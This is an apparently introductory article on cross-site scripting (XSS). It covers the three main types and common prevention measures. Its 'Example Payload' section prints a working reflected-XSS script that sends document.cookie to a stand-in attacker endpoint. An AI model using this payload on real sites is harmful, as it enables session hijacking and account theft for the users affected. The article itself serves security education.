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All About XSS

Updated: Jan 12, 2023

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. It allows malicious attackers to inject client-side scripts into web pages viewed by other users. XSS is a serious security risk as it can be used to gain access to user information, steal confidential data, and even execute malicious code on the user’s machine.


What is XSS?


Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. It allows malicious attackers to inject client-side scripts into web pages viewed by other users. XSS is a serious security risk as it can be used to gain access to user information, steal confidential data, and even execute malicious code on the user’s machine.


Types of XSS


There are three main types of XSS:


1. Reflected XSS: Reflected XSS occurs when an attacker injects malicious code into a web page that is then reflected back to the user. This type of attack is often used to steal user data or to redirect the user to a malicious website.


2. Stored XSS: Stored XSS occurs when an attacker stores malicious code in a web application’s database. This code is then served to users when they access the web page.


3. DOM-based XSS: DOM-based XSS occurs when an attacker injects malicious code into a web page’s Document Object Model (DOM). This type of attack is more difficult to detect and can be used to gain access to user data or to redirect the user to a malicious website.


Example Payload


The following example payload can be used to exploit a reflected XSS vulnerability using window.location.href to send document.cookie to an attacker-controlled endpoint:



"><script>
window.location.href="http://attacker-controlled-endpoint.com?cookie=" + document.cookie;
</script>


This payload will send the user’s cookie to the attacker-controlled endpoint. The attacker can then use this cookie to gain access to the user’s account.


Prevention


There are several steps that can be taken to prevent XSS attacks:


1. Input Validation: All user input should be validated to ensure that it is free from malicious code.


2. Output Encoding: All user output should be encoded to prevent malicious code from being executed.


3. Content Security Policy: Content Security Policy (CSP) can be used to restrict the types of scripts that can be executed on a web page.


4. Security Testing: Regular security testing should be performed to identify and address any XSS vulnerabilities.


Conclusion


Cross-site scripting (XSS) is a type of computer security vulnerability that can be used to gain access to user data, steal confidential information, and even execute malicious code on the user’s machine. There are three main types of XSS: reflected XSS, stored XSS, and DOM-based XSS. To prevent XSS attacks, it is important to implement input validation, output encoding, a content security policy, and regular security testing.



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